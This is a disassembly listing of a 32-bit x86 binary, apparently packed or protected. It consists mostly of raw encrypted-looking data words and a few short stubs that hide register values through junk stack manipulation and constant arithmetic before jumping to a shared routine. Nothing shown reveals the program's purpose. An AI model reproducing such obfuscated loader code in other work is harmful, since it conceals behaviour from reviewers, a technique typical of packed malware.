		dd 89A687Eh, 4890000h, 6EE36824h, 14890000h, 3C26824h
		dd 3C890000h, 0F8BF5724h, 8706D854h, 87D9F7CFh,	0CFF781CFh
		dd 89FF2993h, 8B545FFAh, 0C481243Ch, 4,	8BB53h,	0FB010000h
		dd 89D68956h, 8B5B5E33h, 8953243Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 34FF5C24h, 0C4815A24h, 4,	0F93E70E9h, 635E5FFFh
		dd 80C02D2h, 0FA103253h, 0ACB8F872h, 3060E3Dh, 0E0FFC5h
		dd 0A81F596Bh, 85202E91h, 2D7253B4h, 0C61B3D85h, 89352C66h
		dd 9D5AA042h, 6D1F35A9h, 2777DC9Dh, 8D019647h, 0E3EF18Dh
		dd 0DE906h, 16DB0000h, 0E272B4DBh, 94B09ED5h, 89A2848Dh
		dd 70A018Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 85C7971Bh, 60714A5h, 694Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h, 0B83DF94Dh
		dd 0EBF114DEh, 0B99B58Bh, 85C70607h, 6072FD5h, 0
		dd 0F28B6657h, 0B9B58B5Fh, 0FF06071Bh, 70CDDB5h, 65858906h
		dd 0FF060731h, 71C1995h, 0F1BD0106h, 6A060712h,	6995FF00h
		dd 8B06071Bh, 8048EBC0h, 0D8131D36h, 0A5E1DC30h, 0AD4FDFE9h
		dd 0AECF6CAAh, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 5D49C127h
		dd 6EFC33B5h, 0BE7F5584h, 7CD448A6h, 8267384Eh,	0E6EFE05Dh
		dd 0FC199376h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 0EBAACED1h
		dd 0E13D4604h, 61FE96Dh, 77240000h, 692B89D5h, 68318FDBh
		dd 8E3A98E4h, 7F46A4F0h, 9ABBA5F1h, 0CA169A61h,	0CE1AA46Ch
		dd 0D01CAA70h, 0D521AF72h, 2518E762h, 3AF00258h, 18DB775Bh
		dd 424E118Ch, 7069545h,	179D66C4h, 0D533AE61h, 6DCB810Fh
		dd 419F1AA6h, 0F33FF57Bh, 4C1BD295h, 0F60C22E9h, 9F41F48Dh
		dd 0E2BCC23Eh, 318F4292h, 967E26Eh, 0B808BB41h,	2FF14F02h
		dd 4DAB26A1h, 0D30FF85h, 52F60C9Bh, 21994C02h, 5619A47Eh
		dd 5A207ECAh, 5C2280CCh, 67985BD6h, 91B63029h, 43F68446h
		dd 3AEDA3F3h, 0F8A14DCh, 0AC62EEB1h, 68C265F9h,	0BD09975Dh
		dd 5D109C5Fh, 0C8DE1FE2h, 62359CA9h, 0E353DDACh, 6407F60Ch
		dd 0B2FBBDCAh, 9C3B93C3h, 57000000h, 0D9760BEh,	0B6D4975Ah
		dd 19C3E783h, 1DBF6BC9h, 0BA460967h, 407F7C3Fh,	50689CD0h
		dd 0F848FB89h, 703FF2A8h, 0F60C3FCFh, 725AF497h, 13C66814h
		dd 0AB6D0DC3h, 0EB93C386h, 1Ah,	1726F570h, 48F60C03h, 0A522D285h
		dd 0F24222C4h, 3695A877h, 7ACAF60Ch, 19DBE0C4h,	9A5DD88Bh
		dd 0BA82F24Ah, 6E318134h, 6E24F666h, 0DC04E10h,	0A65903AFh
		dd 42F57F48h, 0E19422E4h, 6B68C265h, 521A78F3h,	0FBB19CCh
		dd 1A6ABA6Dh, 365F1F57h, 0F5AB275Fh, 2BEDF852h,	30F3519Dh
		dd 0DB7458A4h, 62DD9014h, 7938EE9Fh, 944A5884h,	11D87436h
		dd 0BE803383h, 0EFB6031Bh, 0C088E661h, 0D6348036h, 57D28513h
		dd 58843794h, 0F9AF0D1Bh, 974AD29Bh, 3AED7339h,	0DB8E30DCh
		dd 4D8AA447h, 0BAC96104h, 93C36008h, 3706D550h,	28F60C5Ah
		dd 2D7D03CAh, 0BDF477h,	0DB100000h, 62DD9014h, 8F87D9Fh
		dd 5F1599D5h, 0DFA63801h, 0FE4E9E51h, 9E2AED4Bh, 3BE18DEBh
		dd 0D1690C88h, 0F02518E7h, 0EA3AF60Ch, 0A77F229Ah, 81CD531Ah
		dd 9CC88B06h, 459ADB19h, 1CA29160h, 6BBBF60Ch, 49057B5h
		dd 7A47F351h, 17CA541Ch, 1C45F8C7h, 0CA1AF60Ch,	17626007h
		dd 46966D74h, 0FAB6DCBh, 0B669B963h, 0B4FDB066h, 0B86A3911h
		dd 0F893C33Fh, 70h, 9014DB14h, 3C0462DDh, 0F685AF3Fh, 90E03A2Ah
		dd 79D78DDDh, 3302B3h, 5DF60C17h, 0AC0ABD0Dh, 0FF854CE4h
		dd 0F9ACFC4Ch, 9649D39Bh, 0BF3C16B9h, 0DAE73FE2h, 0C6418D13h
		dd 17B97C4Bh, 56A6F60Ch, 0F2A52FF8h, 0DB08ECA2h, 9D88B19h
		dd 0F60C6727h, 0E9B69033h, 93C32F27h, 1625F46Fh, 47F60C6Bh
		dd 6B3EFDCCh, 0CF1FF60Ch, 146C97Fh, 62000000h, 0D78A12DBh
		dd 0AF2AB679h, 7A178DECh, 8D436D7Fh, 8BA346DAh,	0A3EF753Eh
		dd 6C08CA28h, 18681BA9h, 0FC515C8h, 4FCA9E20h, 13923080h
		dd 5AD525FCh, 0F3A933FCh, 911FE240h, 6307CA45h,	9FE43230h
		dd 4306641Ah, 0C48702B5h, 0FD0B27Fh, 26F5AB4Ah,	0F00B1315h
		dd 0CD801ECAh, 4B0EA86Fh, 5CBA6DBDh, 0D87B0F95h, 22AA737Eh
		dd 0F2CF1F6Fh, 27EAF74Fh, 8639C38Bh, 8412D836h,	0C78AE834h
		dd 65288639h, 0BF6224D7h, 0DE975A67h, 0B132C0Fh, 91E131F0h
		dd 0A2E3A545h, 742399CAh, 3F000001h, 0E281744Ah, 0F778B566h
		dd 0F4C33E8Eh, 0FC13B3BCh, 5BE9AB09h, 0B0D3E798h, 67B7B853h
		dd 93A271ECh, 48F00B81h, 0CD1DF785h, 43066417h,	0EF0D9C42h
		dd 62B21D58h, 743D9B16h, 2AED3DF0h, 0E2D83AA7h,	94F2A88Bh
		dd 329043D1h, 0A9436E6Fh, 78D4354h, 356DE244h, 8EDEA428h
		dd 68ECB513h, 0C86B3AB5h, 95F00BF5h, 8C3FF545h,	0C20F27CAh
		dd 852571FFh, 99CAC0C3h, 7103h,	612A8800h, 4A4125DBh, 0AF7EF98Dh
		dd 0F60C683Ch, 38D682E0h, 0A558A882h, 0C6767D6h, 27AD74F6h
		dd 0C6541674h, 5AF49713h, 48A6219Dh, 9D23EA86h,	974A9AEAh
		dd 54EE9147h, 0AD7CDFF8h, 0F60C678Eh, 0B42F7FCFh, 4E018F56h
		dd 52CD48FEh, 0F3A648F4h, 0DA5928A3h, 83F60C67h, 3FAE7D33h
		dd 80F60C68h, 8E57B530h, 0A5035306h, 509C52DEh,	8AFAh
		dd 744A1600h, 581B79F4h, 6763D2A1h, 0ACFCF60Ch,	0A359A95Ch
		dd 886B5928h, 84D4FC13h, 16B073D1h, 0C414C74Dh,	7CA2874h
		dd 4BF7C679h, 9DF00B48h, 318C422h, 13598916h, 0D689D9DAh
		dd 0D222CC78h, 71B58857h, 5AAAF00Bh, 9C2901A4h,	10FF4BD9h
		dd 703FBAAEh, 0FA1DB101h, 75D386D6h, 0DF7326B2h, 7846E23Ch
		dd 2BFA75F0h, 0F6054E08h, 4E56E5B4h, 0B707F605h, 5CD78DDDh
		dd 138E628Dh, 4C1573FCh, 9FFD78C8h, 49994CD8h, 4A634793h
		dd 0AA79F474h, 0FC1AA747h, 96A574EFh, 0C7F00258h, 355CB477h
		dd 8131BF3Bh, 0EEA1F1CBh, 0F33FCD90h, 9346D295h, 10DE5518h
		dd 0B97EF3F9h, 0C6CC6F3Eh, 4191F002h, 4106BC8Bh, 2ACD67F5h
		dd 874AA810h, 22E543F9h, 29EC4A96h, 1CAE5B28h, 8FDFAF1Bh
		dd 410361DCh, 8E7AB988h, 93E39BEDh, 0C5409043h,	0ED8E47F6h
		dd 12C8189Bh, 0B36608B4h, 7E46A41Fh, 8E3FFECDh,	0D0209BEDh
		dd 27DCD80h, 0ED8E0033h, 570D5D9Bh, 0D4329AB4h,	6ECC820Ch
		dd 73D11DABh, 1B7124B0h, 8, 0F67C42A0h,	694D5C40h, 0DB8E2EDBh
		dd 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h, 4F028E55h,	0F3A62AF1h
		dd 9043E995h, 30E36932h, 0CF8210D2h, 0E289527Eh, 4C281h
		dd 0BE560000h, 4, 875EF229h, 685C2414h,	1Ah
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 5B426087h
		not	edi
		inc	edi
		add	edi, 61509FD0h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	5C91h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		push	edi
		mov	edi, 5A8A3E62h
		add	[esp+4], edi
		pop	edi
		pop	dword ptr [edx+8]
		sub	dword ptr [edx+8], 5A8A3E62h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		dw 0FEBCh
		dd 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 44C0B813h, 0C503060Eh
		dd 46CCE0FFh, 0B9A40E10h, 0F25773A5h, 69B7707Eh, 0D32D3538h
		dd 90307F90h, 925B3727h, 83E9175Bh, 31653C63h, 10585BE3h
		dd 52131B07h, 0B72516C6h, 49C10965h, 835F2BC1h,	0EF195C7Eh
		dd 44A00B6Dh, 7A6330B3h, 0AE2C27FCh, 0F3CE2F7Fh, 3CDF2779h
		dd 0ACDA4BC6h, 74F367AFh, 4EB2A36h, 17AD3F8Eh, 56FE9h
		dd 5A02AF00h, 60EEB00Eh, 67EDB614h, 6B11BD1Bh, 76FAC11Fh
		dd 0DE1F402Ah, 0DF3D8917h, 0E3418D17h, 0ED4B971Dh, 0DF529E2Ah
		dd 22A69564h, 0D8B7F002h, 8C18DBF4h, 37EAB311h,	0C67D568h
		dd 0EA3A8AF6h, 7E31E737h, 7FCB5920h, 1FD25E21h,	0BF72FEC1h
		dd 96119F61h, 31E77538h, 108B067Eh, 0C67F241h, 0E17A82F6h
		dd 3D9D77BDh, 0BA5D1363h, 6925560h, 10965CBAh, 12A066C4h
		dd 0B339015Fh, 93F16C00h, 449447CDh, 6953EB8Eh,	7C55FBA6h
		dd 19CFDC0Bh, 80FCF5BBh, 3FB1CF10h, 4AFD8349h, 0E5AAAFAh
		dd 0AC5FEDB0h, 93526E31h, 4FB7CC45h, 0C93BD80h,	252A2F6h
		dd 93B37D4Ch, 4A7F60Ch,	229B5D2Ah, 85E393C4h, 0FE8137BDh
		dd 39h,	8C18DB1Ah, 67290AD9h, 9235F60Ch, 2F29EBB8h, 0A6993C3h
		dd 0EE000000h, 0A07CED2Bh, 0EEA4A166h, 8B19DB0Ah, 2AB87AD8h
		dd 0CF6D1977h, 2901A41Ch, 4CDA9Ch, 551DFA2h, 8214DB21h
		dd 2EE131BFh, 5800ED0h,	8345E1A7h, 0A2F2A5F5h, 0A8A85DDFh
		dd 0DF95FD55h, 6FC76A2Ch, 0C9159B62h, 480EA86Bh, 67B707BAh
		dd 40C68EECh, 17DF3D8Dh, 0C624D78Dh, 66C477FDh,	664179Dh
		dd 8C04B73Dh, 499251E9h, 1CAA70CEh, 0C0631969h,	907B3E66h
		dd 0F17B44D5h, 362BEE3Eh, 6606BC90h, 93C35AB4h,	94F4h
		dd 60BE1000h, 7570AB4h,	9A2CF351h, 4D9D50EEh, 23EC4AFDh
		dd 0CB6EE699h, 0E69F6673h, 0C672417h, 99E939F6h, 9C28EF4Dh
		dd 32B5E21h, 111B513Ch,	0CF2DA85Bh, 65C37923h, 176013B9h
		dd 1BCDDA74h, 5B93C385h, 73h, 9014DB77h, 25AA5215h, 4F029052h
		dd 0A1E33CFFh, 0E03EF1A7h, 7BD98C1Ah, 0CF551BB3h, 0C97CCC1Ch
		dd 671AA26Bh, 0F1EE48EBh, 0CD97114h, 76C59445h,	46F60C7Fh
		dd 0C7FC477h, 6F4999F6h, 7F1625F4h, 0F747F60Ch,	900B57A7h
		dd 32E88632h, 8B19DB4Eh, 63E9B210h, 52BFAADh, 55F60C67h
		dd 0AD905FDAh, 0B2F60C67h, 3109AC62h, 0C32EA062h, 1E093h
		dd 0DBFC0000h, 5CD78A12h, 0D449F999h, 0CEF3605h, 14D727F6h
		dd 8E57DBA5h, 0A200B606h, 0A9E51DFh, 3902CF67h,	467867B3h
		dd 8EAD7CF7h, 0CFF60C7Eh, 7E8DB07Fh, 82D2F60Ch,	0D8E8B732h
		dd 8DFC1389h, 4C0F8A3Dh, 23A44973h, 0D331E70Ch,	28AE7610h
		dd 2E7E04CAh, 400967E2h, 0E573C291h, 9CECF00Bh,	8649994Ch
		dd 0EFF57FA2h, 81DF9590h, 0B07F32BEh, 0F00BC88Fh, 4BFE8850h
		dd 58201F88h, 1876ACD4h, 4F11C452h, 785592ACh, 0AD707DD5h
		dd 0B275D31Fh, 52157326h, 0AE5113C6h, 0FA864994h, 0D25E217Fh
		dd 0CD19CF1Fh, 0CB1A6B2Dh, 185AB99h, 0BEC70000h, 560C9A60h
		dd 96115767h, 138689C7h, 33AEFEFCh, 794AE9B8h, 0C313F00Bh
		dd 39FC5A0Dh, 3E015FABh, 2684FFB2h, 0C11FD563h,	99F772FEh
		dd 0E6994FEDh, 884BA924h, 4EDC9EFCh, 0F2954B9Bh, 3ECA8D58h
		dd 0BA7948C3h, 0A3F00B79h, 79DA5928h, 3383F00Bh, 41E12DE3h
		dd 99CA4C7Fh, 44BFh, 8D4ADB00h,	4CBB7EF9h, 0AE380043h
		dd 8D64EBEBh, 1E8D5CD7h, 5FF60CCBh, 0AE8D5C0Fh,	0DF60CC4h
		dd 0E16B3492h, 8528DE2Eh, 3E488FADh, 24EA48C3h,	0AA19E89Eh
		dd 13F60CCBh, 0E82177C3h, 0A6000000h, 3FF57F48h, 81744A5Bh
		dd 0EA3D7EFAh, 5C543D43h, 3066AA9Fh, 461590E0h,	0FC139946h
		dd 64F2B816h, 0D1AB61B1h, 0AD70CE81h, 561625F4h, 0F747F00Bh
		dd 82E05BA7h, 328235BBh, 0BF5B1E7Ch, 0FABD70FCh, 0B87EC2ADh
		dd 5EAEFE30h, 0E756DCABh, 7137F00Bh, 0AD230E3h,	0AAD3E711h
		dd 4090146Ah, 0FC56F98Dh, 0A77F22FFh, 50DC9FFDh, 39974D9Dh
		dd 0AF9EEA76h, 949CE60Fh, 4E47BCD7h, 0BAB483FEh, 6EFA1DACh
		dd 231124F3h, 0FE4EF605h, 0A31E6E48h, 23DA5928h, 3383F605h
		dd 0A96CCA7Dh, 410A681Bh, 99B75E48h, 0F5455BBFh, 9321E442h
		dd 0A79665E0h, 0B8F60535h, 4EE88B68h, 8235D783h, 0AB4EE232h
		dd 9CB2993h, 0C278C87Bh, 27DEBD3h, 9D53E1A4h, 8749A722h
		dd 40F646F9h, 13FFF971h, 0B60252FCh, 42F1C03Bh,	1BF00B70h
		dd 4A3115CBh, 0AA79F474h, 0FC1AADB0h, 0B816C919h, 0E9259F5h
		dd 0EBAD0B5Bh, 0A5AAA5Dh, 19D60BEh, 0AE61B13Fh,	0A1999ADFh
		dd 24FEA101h, 0FE4AD699h, 9C4FDDA0h, 1CDE923Eh,	8122EE1Bh
		dd 82D2650Ch, 5F217F32h, 1E5B1ED1h, 49FF7120h, 0D17B2785h
		dd 4FE78A1Eh, 0C159FC90h, 57A331F4h, 2FAA36F9h,	2C30DB6Ch
		dd 24DA8018h, 31B71h, 4D370000h, 8E2EDB69h, 2EBA7DDBh
		dd 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh,	43E995F3h
		dd 0E3693290h, 8210D230h, 89517ECFh, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2434895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	2797h
		mov	[esp], edx
		mov	edx, 60E45D4h
		mov	ecx, edx
		pop	edx
		push	2727h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0E4ABDB8h, 0FFC50306h, 1D2EF3E0h, 89625014h,	0F595BC2Eh
		dd 5FB234h, 0F96E615Ah,	1D6DD120h, 7D565A40h, 64010643h
		dd 0A069E26Dh, 17FE6116h, 0CF1DA167h, 0A5B3CF0Dh, 0F7CB8D3Dh
		dd 0E6DD1D74h, 1488F877h, 7CB89917h, 0D0315516h, 492A3251h
		dd 0D2BD324Fh, 0D0961948h, 0BBD93D65h, 3C8185Dh, 0FDE1607Eh
		dd 1998C13Ch, 0B710CC21h, 0B1D7CA3Fh, 0C22F7834h, 5F1BBA40h
		dd 1695B264h, 4505F77h,	0A236C069h, 888D8D35h, 0E8060E4Ch
		dd 0Ch,	0B7F26A3Bh, 0A4954B5Eh,	24854FEh, 8E8h,	8CFA4200h
		dd 4274E332h, 959501B5h, 5E060730h, 18D895Ah, 0E906070Ah
		dd 0Dh,	4ABDF9CDh, 0F8570F31h, 23AEFCF3h, 0A585C705h, 80060714h
		dd 60000070h, 0E9D0BF0Fh, 7, 0B7266557h, 61C1EC32h, 2FD585C7h
		dd 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 180424h, 56460000h, 0EFF9AFC3h, 0B70F5019h, 4DB5FFC2h
		dd 8B060721h, 714FDB5h,	1995FF06h, 5706071Ch, 14E9h, 0BC1FA600h
		dd 68BF00F3h, 3B177B3h,	0F5CE62AAh, 6209174Eh, 6A5AEBh
		dd 1B6995FFh, 0C08B0607h, 71CE1BEBh, 35D3FAD3h,	21DDF07h
		dd 5DB7071Dh, 0B2276783h, 0B7E72C2Ah, 0E3B8A8BDh, 0C58D8DFAh
		dd 0BF060E4Dh, 66C6D06Eh, 0A018D89h, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A589BEC3h
		dd 0DE8C38Ah, 0A6000000h, 8F378092h, 1E96B6AAh,	0F6C6507Dh
		dd 58C3B70Fh, 14A585C7h, 5E2C0607h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 11528EC3h
		dd 8B178A52h, 72E31B5h,	0D585C706h, 6072Fh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 2350C355h, 0E418BB07h, 0B5FF4CDFh, 607312Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A2C35242h
		dd 68093D90h, 95FF046Dh, 6071C19h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 42C35141h, 810F8B60h, 0FB8B66F9h
		dd 0E2A8BB60h, 0CE84CCDh, 0BE000000h, 6CC6966Eh, 0BF6FC62Bh
		dd 8125B1C1h, 0ADBD63C2h, 6A615F62h, 6995FF00h,	8B06071Bh
		dd 7D49EBC0h, 0B5559A1Eh, 0E64B91BBh, 98090D9Ah, 0C1A589BEh
		dd 7F16D7DFh, 77BD5489h, 0E6F9448Bh, 44BD7BA8h,	0D11FB13Bh
		dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 85EC3681h, 198A1479h
		dd 0B03CAF25h, 0B0CC67C2h, 207BCDB2h, 909CE2E3h, 10E8h
		dd 0FDF12E00h, 189387ABh, 342259E6h, 0EF0C7728h, 81665F12h
		dd 81BF0CC9h, 6865C7h, 6850F00h, 29000000h, 715E595h, 0BBF63306h
		dd 32A09ACAh, 0B53E34FFh, 0B9665ADCh, 0EA81AD2Eh, 6B3B7F1Eh
		dd 659D2352h, 5B060714h, 7CAFEA81h, 0BB6607F1h,	0C2811CBEh
		dd 4BAB95Fh, 2E85858Bh,	0E8520607h, 8, 0DF005316h, 0AF57CC1Ch
		dd 55E1BB66h, 37048F5Bh, 68E0Fh, 8D290000h, 607003Dh, 13E9h
		dd 0C5D06900h, 647F5B2Eh, 0E3A4E8C1h, 7F957C6h,	0A6B74A13h
		dd 0E904EE83h, 13h, 683B7D8Bh, 71975F9Fh, 527555DAh, 4EE7CD66h
		dd 8117CB31h, 0FF9884FEh, 1C850FFFh, 8B000000h,	731558Dh
		dd 24E906h, 0A34B0000h,	1D7CD906h, 18297ED1h, 2FD1FCACh
		dd 0B8A7DA7Bh, 5D9E0950h, 0FFFF4BE9h, 18F4A0FFh, 0DF948A91h
		dd 4EB5340h, 6D60C7Dh, 54EE9h, 9E3EEB00h, 0A432F452h, 0AB31FA58h
		dd 0B755015Fh, 0BA460D6Bh, 2A63846Eh, 3391DD63h, 3795E16Bh
		dd 3997E371h, 2B9EEA76h, 2852E1B0h, 2C0BF002h, 8C18DB48h
		dd 3D005ED9h, 0F6ACFCAFh, 4918D198h, 0F60C67EAh, 673003D2h
		dd 0DD2DF60Ch, 1763B303h, 304FD99Ch, 0C86542A2h, 3CBF7E4Dh
		dd 50A0F60Ch, 0EB793C9Ah, 8917DA38h, 28B678D6h,	0C05AFD75h
		dd 2EB47AD8h, 17752B7Bh, 0D24DC854h, 0C3C3003h,	27DD2DF6h
		dd 560260DBh, 0FFB505B8h, 955DBA1h, 0DA84308Eh,	0C321D727h
		dd 66C477FDh, 765189Eh,	0A0FEB15Bh, 1D994CDAh, 8F23A07Ah
		dd 0C6A52ECh, 0B808BB49h, 58DEA402h, 0EBCE910Ch, 3D121C65h
		dd 1C422D8h, 0E745C073h, 0FDE9420h, 0F60C1C21h,	0A753EFB2h
		dd 0A402B505h, 0B9F52DCh, 3A11CE68h, 5215BF97h,	32C52092h
		dd 0A242F89Ah, 93C3D4E0h, 6420h, 18DB3C00h, 290AD98Ch
		dd 35F60C67h, 0B995CBAh, 3098B255h, 0AE760AD2h,	0D525D828h
		dd 2EBD7F1Fh, 1FD93C3h,	19000000h, 0D88B19DBh, 0B03CFF5Dh
		dd 4CDA9CFAh, 23B173D1h, 0FFC22070h, 0AA08BB71h, 35AD60FEh
		dd 2965CBAh, 0B101B43Ah, 0A450AE61h, 0DCE7AAFAh, 0A3FB1B4Ah
		dd 8AA447FDh, 0A3EF7D3Fh, 0AAF68245h, 1D14DBC6h, 0E5F127A6h
		dd 984B9BA0h, 37EA783Ah, 6D78D275h, 70CE1AA6h, 0E6C1FADh
		dd 0C30CBF45h, 0C7790620h, 0F93C34Bh, 1D9CEA4Ch, 8E4427C6h
		dd 730Bh, 14DB2700h, 0B67FDD90h, 6938B32Eh, 0F60C67CAh
		dd 0DA8D4393h, 3D67BF62h, 0DB8E16DFh, 0B077D58Bh, 0B37AD824h
		dd 701C7A2Dh, 0FBBD1BCEh, 67C07342h, 4D9DF60Ch,	24EC4AFDh
		dd 670AE79Ah, 24C710CFh, 2CCB7D0Ah, 470B93C3h, 27000000h
		dd 159014DBh, 0B5056252h, 0E0964170h, 7B09CF2Dh, 1BA16AC8h
		dd 0BE440A68h, 7AD4770Bh, 0CB1BA96Fh, 0E6F34BEEh, 6145911Fh
		dd 109E60BEh, 0F9570D5Dh, 27F6A937h, 0F60C6719h, 794AE51h
		dd 93C32F45h, 185h, 12DBA100h, 67AD905Fh, 62B2F60Ch, 3E015F12h
		dd 0F06BFFB2h, 289A5D2Dh, 621E056h, 3139FCB7h, 9E41F722h
		dd 0EC703984h, 0A96225A0h, 5911EAA5h, 0C6169E67h, 0CB9D2110h
		dd 873F8150h, 0D828FC13h, 7804C725h, 0ACEEB12Ch, 1932D78Bh
		dd 1C422D8h, 40F1C073h,	95F00B70h, 359346D2h, 0C588E672h
		dd 1FC28437h, 70EBC807h, 10C64C12h, 70EBD56Dh, 0B7092A1h
		dd 0C57BCBF0h, 0CC18A467h, 6A1DAB6Eh, 8BB490Ch,	3E8BA346h
		dd 1A1ED7Bh, 99CA463Fh,	0CF2AC487h, 8EF1E86Dh, 15E55D8h
		dd 4A710000h, 1B79F474h, 0CC1CCF55h, 0C2209B16h, 71C174FAh
		dd 86B4ECBBh, 0B101FC13h, 5E2583FEh, 71CF1FD2h,	0D6B21AFh
		dd 1472BE4Ah, 0B210C351h, 0D46736EFh, 89F00B79h, 0F36EE939h
		dd 798AA978h, 83D3F00Bh, 0B7981B4h, 0D88EDEF0h,	4BFEC725h
		dd 0B79B97Ch, 656A6F0h,	0A349F553h, 45CB92F0h, 23C64292h
		dd 670ACC0Bh, 0B13F02CFh, 4D03C565h, 6C4399CAh,	0C8000000h
		dd 6319A76Ah, 9D60BE7Fh, 6D6A590Fh, 0C695440Bh,	0F60C6777h
		dd 0F84898E8h, 0C9731F7Dh, 0DAC99813h, 82F60C68h, 67053807h
		dd 0A5AF60Ch, 0AF2A7A54h, 4E018F51h, 0C69548FEh, 0F60C6777h
		dd 64179D64h, 4B73D06h,	8E4DE588h, 79D76F12h, 0DEAD285Eh
		dd 0F60C68EFh, 27850050h, 0D121D460h, 0E506B20Eh, 1ED47D16h
		dd 7E7CD2h, 4A980000h, 0AA79F474h, 0FC13883Ah, 5AB83383h
		dd 0F9570A98h, 0A7F7AA36h, 90EEA157h, 95F33FCDh, 0C49346D2h
		dd 0F00B487Eh, 9F8B864Fh, 0D286EE8Dh, 0A301B404h, 2AA255F7h
		dd 3605AF87h, 0F00B6F07h, 0DBB80858h, 10D31E38h, 5FBD3884h
		dd 6A590F9Dh, 0BC5BA154h, 8245E793h, 0F98EDABDh, 0A74A4A51h
		dd 0D550A0F0h, 1D603006h, 26D929FAh, 0C47705C8h, 97B58D30h
		dd 0F7C64127h, 0FC132F43h, 987CC818h, 24E6744Ah, 67999C6Bh
		dd 76C6F60Ch, 7806C826h, 58DEAD28h, 1FC1AB6h, 0DDA0FEB1h
		dd 69EACEDCh, 2F29B9Ah,	0B174C4F0h, 0B32EB1D8h,	2A951E4h
		dd 6EBE0EF0h, 7301C422h, 4AD89AF8h, 0DE914797h,	0EA0ED60Fh
		dd 20FA9DF0h, 0FA46D295h, 0D55B217Fh, 0F1A88B5Ah, 65B5F0DAh
		dd 28E51AFh, 0A745F14Fh, 44EA96F4h, 0E3713391h,	3D15B830h
		dd 0AF872ABEh, 51FBA705h, 0ED77409Eh, 0E49AEA3Ah, 0E935C386h
		dd 0BE48106Eh, 59E7AA08h, 350A6h, 4D6C0000h, 8E2EDB69h
		dd 2EBA7DDBh, 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh
		dd 43E995F3h, 0E3693290h, 8210D230h, 4B687ECFh,	89000006h
		dd 8957240Ch, 4C781E7h,	81000000h, 4EFh, 243C8700h, 241C895Ch
		dd 62CD68h, 243C8900h, 0A3452EBBh, 3E3C130h, 0BE56EBD1h
		dd 3C7EC5A8h, 545EF329h, 81243C8Bh, 4C4h, 81535600h, 6DA2242Ch
		dd 815E5EFBh, 0FB6DA2C6h, 877895Eh, 2434FF5Eh, 4C4815Fh
		dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 282BE95Ch, 41B8FFF9h, 0B80E852Bh, 60E53DDh, 0E0FFC503h
		dd 2E2E47B3h, 5D307406h, 0FBAE269h, 4C77BC68h, 10EBh, 3	dup(0)
		dd 0C08B0000h, 211BD83h, 75000607h, 65BD8309h, 6070Dh
		dd 53501974h, 2DB8C08Bh, 89000004h, 7302D85h, 0A89D8D06h
		dd 0FF0609AAh, 83585BD3h, 70D65BDh, 17740006h, 2DB85350h
		dd 89000004h, 7302D85h,	979D8D06h, 0FF0609A7h, 89585BD3h
		dd 71C658Dh, 0D18B6606h, 0BE9h,	76532C00h, 0DAFC1FE6h
		dd 89E19872h, 0BFD958Bh, 0C08B0607h, 301DE681h,	8D8B3452h
		dd 6070AE5h, 33159D89h,	0F9830607h, 8E840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F586C357h, 2C3D8B64h, 89000000h,	719D1B5h
		dd 0FFF0B06h, 5C84h, 0B70F5100h, 3F8B5AD7h, 32F08B66h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0FE96Fh,	0FCA70000h, 9D088602h, 9A7993D6h
		dd 0CB3606B6h, 890F72h,	0F3000000h, 6E8AAh, 3E00000h, 2E27530Bh
		dd 6850Fh, 958B0000h, 6073345h,	4149355Ah, 9D895350h, 6071839h
		dd 152585C6h, 8B470607h, 713C5B5h, 58BA6806h, 5250AF79h
		dd 0FD78B66h, 81585A31h, 2F722404h, 6A2D5Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0D4881EC3h
		dd 0FF96673Ch, 71CBDB5h, 0F4858D06h, 60060A70h,	1B198589h
		dd 1BBB0607h, 61442DCFh, 2960D0FFh, 71AB9BDh, 5E906h, 0AA150000h
